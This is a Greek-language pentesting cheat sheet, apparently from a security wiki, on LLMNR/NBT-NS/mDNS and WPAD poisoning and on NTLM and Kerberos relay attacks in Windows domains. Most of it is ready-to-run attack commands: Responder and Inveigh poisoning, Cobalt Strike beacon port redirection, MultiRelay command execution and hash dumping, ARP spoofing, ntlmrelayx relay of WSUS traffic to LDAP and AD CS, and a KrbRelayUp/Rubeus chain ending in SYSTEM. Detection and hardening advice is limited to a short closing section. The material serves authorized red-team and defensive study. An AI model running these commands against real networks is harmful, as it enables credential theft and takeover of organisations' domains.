Spoofing LLMNR, NBT-NS, mDNS/DNS και WPAD and Relay Attacks

Reading time: 15 minutes

Πρωτόκολλα Δικτύου

Πρωτόκολλα τοπικής επίλυσης ονομάτων

• LLMNR, NBT-NS, and mDNS:
• Τα Microsoft και άλλα λειτουργικά συστήματα χρησιμοποιούν LLMNR και NBT-NS για τοπική επίλυση ονομάτων όταν το DNS αποτυγχάνει. Παρομοίως, τα Apple και Linux συστήματα χρησιμοποιούν mDNS.
• Αυτά τα πρωτόκολλα είναι ευπαθή σε υποκλοπή και spoofing λόγω της μη-επαληθευμένης, broadcast φύσης τους πάνω από UDP.
• Responder μπορεί να χρησιμοποιηθεί για να υποδυθεί υπηρεσίες στέλνοντας ψευδείς απαντήσεις σε hosts που κάνουν ερωτήματα σε αυτά τα πρωτόκολλα.
• Περαιτέρω πληροφορίες για service impersonation χρησιμοποιώντας Responder υπάρχουν here.

Web Proxy Auto-Discovery Protocol (WPAD)

• Το WPAD επιτρέπει στους browsers να εντοπίζουν αυτόματα τις ρυθμίσεις proxy.
• Η ανακάλυψη γίνεται μέσω DHCP, DNS ή fallback σε LLMNR και NBT-NS εάν το DNS αποτύχει.
• Το Responder μπορεί να αυτοματοποιήσει WPAD επιθέσεις, κατευθύνοντας clients σε κακόβουλους WPAD servers.

Responder για Protocol Poisoning

• Responder είναι ένα εργαλείο που χρησιμοποιείται για poisoning ερωτημάτων LLMNR, NBT-NS και mDNS, απαντώντας επιλεκτικά βάσει τύπου ερωτήματος, στοχεύοντας κυρίως υπηρεσίες SMB.
• Έρχεται προεγκατεστημένο στο Kali Linux, και ρυθμίζεται στο /etc/responder/Responder.conf.
• Το Responder εμφανίζει τα αιχμαλωτισμένα hashes στην οθόνη και τα αποθηκεύει στον κατάλογο /usr/share/responder/logs.
• Υποστηρίζει τόσο IPv4 όσο και IPv6.
• Η Windows έκδοση του Responder είναι διαθέσιμη here.

Εκτέλεση Responder

• Για να τρέξετε το Responder με τις προεπιλεγμένες ρυθμίσεις: responder -I <Interface>
• Για πιο επιθετική διερεύνηση (με πιθανές παρενέργειες): responder -I <Interface> -P -r -v
• Τεχνικές για να συλλάβετε NTLMv1 challenges/responses για ευκολότερο cracking: responder -I <Interface> --lm --disable-ess
• WPAD impersonation μπορεί να ενεργοποιηθεί με: responder -I <Interface> --wpad
• Τα NetBIOS requests μπορούν να επιλυθούν στη διεύθυνση IP του επιτιθέμενου, και να στηθεί ένας authentication proxy: responder.py -I <interface> -Pv

DHCP Poisoning με Responder

• Το spoofing των DHCP απαντήσεων μπορεί να δηλητηριάσει μόνιμα τις πληροφορίες δρομολόγησης ενός θύματος, προσφέροντας μια πιο stealthy εναλλακτική έναντι του ARP poisoning.
• Απαιτεί ακριβή γνώση της διαμόρφωσης του στοχευόμενου δικτύου.
• Εκτέλεση της επίθεσης: ./Responder.py -I eth0 -Pdv
• Αυτή η μέθοδος μπορεί να συλλάβει αποτελεσματικά NTLMv1/2 hashes, αλλά χρειάζεται προσεκτικό χειρισμό για να αποφευχθεί η διακοπή του δικτύου.

Συλλογή credentials με Responder

• Το Responder θα υποδυθεί υπηρεσίες χρησιμοποιώντας τα προαναφερθέντα πρωτόκολλα, συλλαμβάνοντας credentials (συνήθως NTLMv2 Challenge/Response) όταν ένας χρήστης προσπαθεί να αυθεντικοποιηθεί απέναντι στις spoofed υπηρεσίες.
• Μπορούν να γίνουν προσπάθειες για downgrade σε NetNTLMv1 ή απενεργοποίηση ESS για ευκολότερο cracking των credentials.

Είναι κρίσιμο να σημειωθεί ότι η εφαρμογή αυτών των τεχνικών πρέπει να γίνεται νόμιμα και ηθικά, εξασφαλίζοντας κατάλληλη εξουσιοδότηση και αποφεύγοντας διαταραχή ή μη εξουσιοδοτημένη πρόσβαση.

Inveigh

Το Inveigh είναι ένα εργαλείο για penetration testers και red teamers, σχεδιασμένο για Windows συστήματα. Προσφέρει λειτουργίες παρόμοιες με το Responder, πραγματοποιώντας spoofing και man-in-the-middle επιθέσεις. Το εργαλείο εξελίχθηκε από ένα PowerShell script σε ένα C# binary, με τα Inveigh και InveighZero ως τις κύριες εκδόσεις. Λεπτομερείς παράμετροι και οδηγίες βρίσκονται στο wiki.

Το Inveigh μπορεί να λειτουργήσει μέσω PowerShell:

Invoke-Inveigh -NBNS Y -ConsoleOutput Y -FileOutput Y

Ή εκτελεστεί ως C# binary:

Inveigh.exe

NTLM Relay Attack

Αυτή η επίθεση εκμεταλλεύεται τις SMB συνεδρίες αυθεντικοποίησης για πρόσβαση σε έναν στόχο, παρέχοντας system shell αν επιτύχει. Βασικές προαπαιτήσεις περιλαμβάνουν:

• Ο χρήστης που αυθεντικοποιείται πρέπει να έχει Local Admin πρόσβαση στον relayed host.
• Το SMB signing πρέπει να είναι απενεργοποιημένο.

445 Προώθηση θυρών και τούνελ

Σε περιπτώσεις όπου η άμεση δικτυακή πρόσβαση δεν είναι εφικτή, η κυκλοφορία στην πόρτα 445 πρέπει να προωθηθεί και να περάσει μέσω τούνελ. Εργαλεία όπως το PortBender βοηθούν στην ανακατεύθυνση της κυκλοφορίας της πόρτας 445 σε άλλη θύρα, κάτι που είναι απαραίτητο όταν υπάρχει Local Admin πρόσβαση για το φόρτωμα του driver.

PortBender setup and operation in Cobalt Strike:

Cobalt Strike -> Script Manager -> Load (Select PortBender.cna)

beacon> cd C:\Windows\system32\drivers # Navigate to drivers directory
beacon> upload C:\PortBender\WinDivert64.sys # Upload driver
beacon> PortBender redirect 445 8445 # Redirect traffic from port 445 to 8445
beacon> rportfwd 8445 127.0.0.1 445 # Route traffic from port 8445 to Team Server
beacon> socks 1080 # Establish a SOCKS proxy on port 1080

# Termination commands
beacon> jobs
beacon> jobkill 0
beacon> rportfwd stop 8445
beacon> socks stop

Άλλα εργαλεία για NTLM Relay Attack

• Metasploit: Ρυθμίζεται με proxies, λεπτομέρειες τοπικού και απομακρυσμένου host.
• smbrelayx: Ένα Python script για relaying SMB sessions και εκτέλεση εντολών ή ανάπτυξη backdoors.
• MultiRelay: Ένα εργαλείο από το Responder suite για relay συγκεκριμένων ή όλων των χρηστών, εκτέλεση εντολών ή dump hashes.

Κάθε εργαλείο μπορεί να ρυθμιστεί να λειτουργεί μέσω SOCKS proxy αν χρειάζεται, επιτρέποντας επιθέσεις ακόμα και με έμμεση πρόσβαση στο δίκτυο.

Λειτουργία MultiRelay

Το MultiRelay εκτελείται από τον /usr/share/responder/tools κατάλογο, στοχεύοντας συγκεκριμένα IPs ή users.

python MultiRelay.py -t <IP target> -u ALL # Relay all users
python MultiRelay.py -t <IP target> -u ALL -c whoami # Execute command
python MultiRelay.py -t <IP target> -u ALL -d # Dump hashes

# Proxychains for routing traffic

Αυτά τα εργαλεία και οι τεχνικές αποτελούν ένα ολοκληρωμένο σύνολο για τη διεξαγωγή NTLM Relay επιθέσεων σε διάφορα δικτυακά περιβάλλοντα.

Κατάχρηση WSUS HTTP (8530) για NTLM Relay προς LDAP/SMB/AD CS (ESC8)

Οι WSUS clients αυθεντικοποιούνται στον update server τους χρησιμοποιώντας NTLM πάνω από HTTP (8530) ή HTTPS (8531). Όταν το HTTP είναι ενεργοποιημένο, οι περιοδικοί έλεγχοι των clients μπορούν να εξαναγκαστούν ή να υποκλαπούν στο τοπικό τμήμα και να αναμεταδοθούν με ntlmrelayx σε LDAP/LDAPS/SMB ή AD CS HTTP endpoints (ESC8) χωρίς να σπάνετε hashes. Αυτό συγχέεται με τη συνηθισμένη κυκλοφορία ενημερώσεων και συχνά αποφέρει αυθεντικοποιήσεις λογαριασμών μηχανών (HOST$).

Τι να αναζητήσετε

• Ρυθμίσεις GPO/registry κάτω από HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate και ...\WindowsUpdate\AU:
• WUServer (π.χ., http://wsus.domain.local:8530)
• WUStatusServer (reporting URL)
• UseWUServer (1 = WSUS; 0 = Microsoft Update)
• DetectionFrequencyEnabled και DetectionFrequency (ώρες)
• WSUS SOAP endpoints που χρησιμοποιούν οι clients μέσω HTTP:
• /ClientWebService/client.asmx (approvals)
• /ReportingWebService/reportingwebservice.asmx (status)
• Προεπιλεγμένες θύρες: 8530/tcp HTTP, 8531/tcp HTTPS

Αναγνώριση

• Χωρίς αυθεντικοποίηση
• Σάρωση για listeners: nmap -sSVC -Pn --open -p 8530,8531 -iL
• Sniff HTTP WSUS traffic μέσω L2 MITM και καταγραφή ενεργών clients/endpoints με wsusniff.py (HTTP μόνο εκτός αν μπορέσετε να κάνετε τους clients να εμπιστευτούν το TLS cert σας).
• Με αυθεντικοποίηση
• Ανάλυση SYSVOL GPOs για WSUS keys με MANSPIDER + regpol (το wrapper wsuspider.sh συνοψίζει WUServer/WUStatusServer/UseWUServer).
• Ερωτήματα σε endpoints σε κλίμακα από hosts (NetExec) ή τοπικά: nxc smb -u -p -M reg-query -o PATH="HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate" KEY="WUServer" reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate

Βήματα ολοκληρωμένου HTTP relay

1. Τοποθετηθείτε για MITM (ίδιο L2) ώστε ένας client να επιλύει τον WSUS server σε εσάς (ARP/DNS poisoning, Bettercap, mitm6, κ.λπ.). Παράδειγμα με arpspoof: arpspoof -i -t <wsus_client_ip> <wsus_server_ip>

2. Ανακατευθύνετε την πόρτα 8530 στον listener του relay σας (προαιρετικό, βολικό): iptables -t nat -A PREROUTING -p tcp --dport 8530 -j REDIRECT --to-ports 8530 iptables -t nat -L PREROUTING --line-numbers

3. Ξεκινήστε ntlmrelayx με τον HTTP listener (απαιτεί υποστήριξη Impacket για HTTP listener; δείτε τα PRs παρακάτω): ntlmrelayx.py -t ldap:// -smb2support -socks --keep-relaying --http-port 8530

Άλλοι κοινοί στόχοι:

• Relay σε SMB (αν το signing είναι off) για exec/dump: -t smb://
• Relay σε LDAPS για αλλαγές στον κατάλογο (π.χ., RBCD): -t ldaps://
• Relay σε AD CS web enrollment (ESC8) για να δημιουργήσετε ένα cert και στη συνέχεια να αυθεντικοποιηθείτε μέσω Schannel/PKINIT: ntlmrelayx.py --http-port 8530 -t http:///certsrv/certfnsh.asp --adcs --no-http-server Για βαθύτερα μονοπάτια κατάχρησης AD CS και εργαλεία, δείτε τη σελίδα AD CS:

AD CS Domain Escalation

4. Προκαλέστε έναν client check-in ή περιμένετε το προγραμματισμένο. Από έναν client: wuauclt.exe /detectnow ή χρησιμοποιήστε το Windows Update UI (Check for updates).

5. Χρησιμοποιήστε τις αυθεντικοποιημένες SOCKS συνεδρίες (αν χρησιμοποιήσατε -socks) ή τα άμεσα αποτελέσματα relay για post-exploitation (αλλαγές LDAP, εντολές SMB, ή έκδοση πιστοποιητικού AD CS για μετέπειτα αυθεντικοποίηση).

Περιορισμός HTTPS (8531)

• Η παθητική υποκλοπή του WSUS πάνω από HTTPS είναι αναποτελεσματική εκτός αν οι clients εμπιστεύονται το πιστοποιητικό σας. Χωρίς ένα έμπιστο cert ή άλλη θραύση TLS, το NTLM handshake δεν μπορεί να συλλεχθεί/αναμεταδοθεί από την κίνηση WSUS HTTPS.

Σημειώσεις

• Το WSUS ανακοινώθηκε ως deprecated αλλά παραμένει ευρέως αναπτυγμένο; το HTTP (8530) εξακολουθεί να είναι κοινό σε πολλά περιβάλλοντα.
• Χρήσιμοι βοηθοί: wsusniff.py (παρατήρηση HTTP WSUS check-ins), wsuspider.sh (εντοπισμός WUServer/WUStatusServer από GPOs), NetExec reg-query σε κλίμακα.
• Το Impacket επανέφερε την υποστήριξη HTTP listener για ntlmrelayx στο PR #2034 (πρωτοεμφανίστηκε αρχικά στο PR #913).

Εξαναγκασμός NTLM συνδέσεων

Στα Windows μπορεί να έχετε τη δυνατότητα να εξαναγκάσετε ορισμένους privileged λογαριασμούς να αυθεντικοποιηθούν σε αυθαίρετες μηχανές. Δείτε την παρακάτω σελίδα για να μάθετε πώς:

Force NTLM Privileged Authentication

Kerberos Relay attack

Μια Kerberos relay attack κλέβει ένα AP-REQ ticket από μια υπηρεσία και το επαναχρησιμοποιεί απέναντι σε μια δεύτερη υπηρεσία που μοιράζεται το ίδιο computer-account key (επειδή και τα δύο SPNs ανήκουν στον ίδιο $ machine account). Αυτό λειτουργεί ακόμα και αν οι κλάσεις υπηρεσίας των SPNs διαφέρουν (π.χ. CIFS/ → LDAP/) επειδή το κλειδί που αποκρυπτογραφεί το ticket είναι το NT hash της μηχανής, όχι το ίδιο το SPN string, και το SPN string δεν είναι μέρος της υπογραφής.

Σε αντίθεση με το NTLM relay, το άλμα περιορίζεται στον ίδιο host αλλά, αν στοχεύσετε ένα πρωτόκολλο που σας επιτρέπει να γράψετε σε LDAP, μπορείτε να αλυσοδέσετε σε Resource-Based Constrained Delegation (RBCD) ή AD CS enrollment και να αποκτήσετε NT AUTHORITY\SYSTEM με ένα μόνο χτύπημα.

Για λεπτομερείς πληροφορίες γι’ αυτή την επίθεση δείτε:

• https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html

• https://decoder.cloud/2025/04/24/from-ntlm-relay-to-kerberos-relay-everything-you-need-to-know/

• 1. Kerberos basics

• Τα tickets κρυπτογραφούνται με το password-derived key του λογαριασμού που κατέχει το SPN.
• Ο Authenticator μέσα στο AP-REQ έχει σφραγίδα χρόνου 5 λεπτών· η επανάληψη μέσα σε αυτό το παράθυρο είναι έγκυρη μέχρι η cache της υπηρεσίας να δει διπλότυπο.
• Τα Windows σπάνια ελέγχουν αν το SPN string στο ticket ταιριάζει με την υπηρεσία που στοχεύετε, οπότε ένα ticket για CIFS/HOST συνήθως αποκρυπτογραφείται κανονικά σε LDAP/HOST.

• 2. Τι πρέπει να ισχύει για να γίνει Kerberos relay

1. Shared key: τα source και target SPNs ανήκουν στον ίδιο computer account (προεπιλογή σε Windows servers).
2. No channel protection: SMB/LDAP signing απενεργοποιημένο και EPA απενεργοποιημένο για HTTP/LDAPS.
3. Μπορείτε να υποκλέψετε ή να εξαναγκάσετε αυθεντικοποίηση: LLMNR/NBNS poison, DNS spoof, PetitPotam / DFSCoerce RPC, fake AuthIP, rogue DCOM, κ.λπ.
4. Η πηγή του ticket να μην έχει ήδη χρησιμοποιηθεί: πρέπει να κερδίσετε τη “κούρσα” πριν φτάσει το πραγματικό πακέτο ή να το μπλοκάρετε εντελώς· αλλιώς η cache επαναλήψεων του server πυροδοτεί Event 4649.
5. Πρέπει κάπως να μπορείτε να εκτελέσετε ένα MitM στην επικοινωνία, για παράδειγμα να είστε μέρος του group DNSAmins για να τροποποιήσετε το DNS του domain ή να μπορείτε να αλλάξετε το HOST file του θύματος.

Kerberos Relay Steps

• 3.1 Recon the host

# find servers where HTTP, LDAP or CIFS share the same machine account
Get-ADComputer -Filter * -Properties servicePrincipalName |
Where-Object {$_.servicePrincipalName -match '(HTTP|LDAP|CIFS)'} |
Select Name,servicePrincipalName

• 3.2 Εκκινήστε το relay listener

KrbRelayUp

# one-click local SYSTEM via RBCD
.\KrbRelayUp.exe relay --spn "ldap/DC01.lab.local" --method rbcd --clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8

KrbRelayUp συνδυάζει KrbRelay → LDAP → RBCD → Rubeus → SCM bypass σε ένα binary.

• 3.3 Coerce Kerberos auth

# coerce DC to auth over SMB with DFSCoerce
.\dfscoerce.exe --target \\DC01.lab.local --listener 10.0.0.50

DFSCoerce προκαλεί τον DC να στείλει ένα Kerberos CIFS/DC01 ticket σε εμάς.

• 3.4 Relay the AP-REQ

KrbRelay εξάγει το GSS blob από SMB, το επανασυσκευάζει σε ένα LDAP bind, και το προωθεί στο ldap://DC01—η αυθεντικοποίηση επιτυγχάνει επειδή το ίδιο κλειδί το αποκρυπτογραφεί.

• 3.5 Abuse LDAP ➜ RBCD ➜ SYSTEM

# (auto inside KrbRelayUp) manual for clarity
New-MachineAccount -Name "FAKE01" -Password "P@ss123"
KrbRelay.exe -spn ldap/DC01 -rbcd FAKE01_SID
Rubeus s4u /user:FAKE01$ /rc4:<hash> /impersonateuser:administrator /msdsspn:HOST/DC01 /ptt
SCMUACBypass.exe

You now own NT AUTHORITY\SYSTEM.

Περαιτέρω μονοπάτια που αξίζει να γνωρίζετε

Αντιμετώπιση προβλημάτων

Ανίχνευση

• Αύξηση σε Event 4769 για CIFS/, HTTP/, LDAP/ από την ίδια πηγή μέσα σε δευτερόλεπτα.
• Event 4649 στην υπηρεσία υποδεικνύει ανίχνευση replay.
• Kerberos logon από 127.0.0.1 (relay to local SCM) είναι πολύ ύποπτο — map via Sigma rule in KrbRelayUp docs.
• Παρακολουθήστε αλλαγές στα attributes msDS-AllowedToActOnBehalfOfOtherIdentity ή msDS-KeyCredentialLink.

Σκληρυνση

1. Enforce LDAP & SMB signing + EPA σε κάθε διακομιστή.
2. Διαχωρίστε τα SPNs ώστε το HTTP να μην είναι στον ίδιο λογαριασμό με CIFS/LDAP.
3. Κάντε patch στους coercion vectors (PetitPotam KB5005413, DFS, AuthIP).
4. Ορίστε ms-DS-MachineAccountQuota = 0 για να σταματήσουν οι μη εξουσιοδοτημένες εγγραφές υπολογιστών.
5. Ειδοποίηση σε Event 4649 και απροσδόκητα loopback Kerberos logons.

References

• https://intrinium.com/smb-relay-attack-tutorial/
• https://www.4armed.com/blog/llmnr-nbtns-poisoning-using-responder/
• https://www.notsosecure.com/pwning-with-responder-a-pentesters-guide/
• https://intrinium.com/smb-relay-attack-tutorial/
• https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html
• WSUS Is SUS: NTLM Relay Attacks in Plain Sight (TrustedSec)
• GoSecure – Abusing WSUS to enable NTLM relaying attacks
• Impacket PR #2034 – Restore HTTP server in ntlmrelayx
• Impacket PR #913 – HTTP relay support
• WSUScripts – wsusniff.py
• WSUScripts – wsuspider.sh
• MS-WSUSOD – Windows Server Update Services: Server-to-Client Protocol
• Microsoft – WSUS deprecation announcement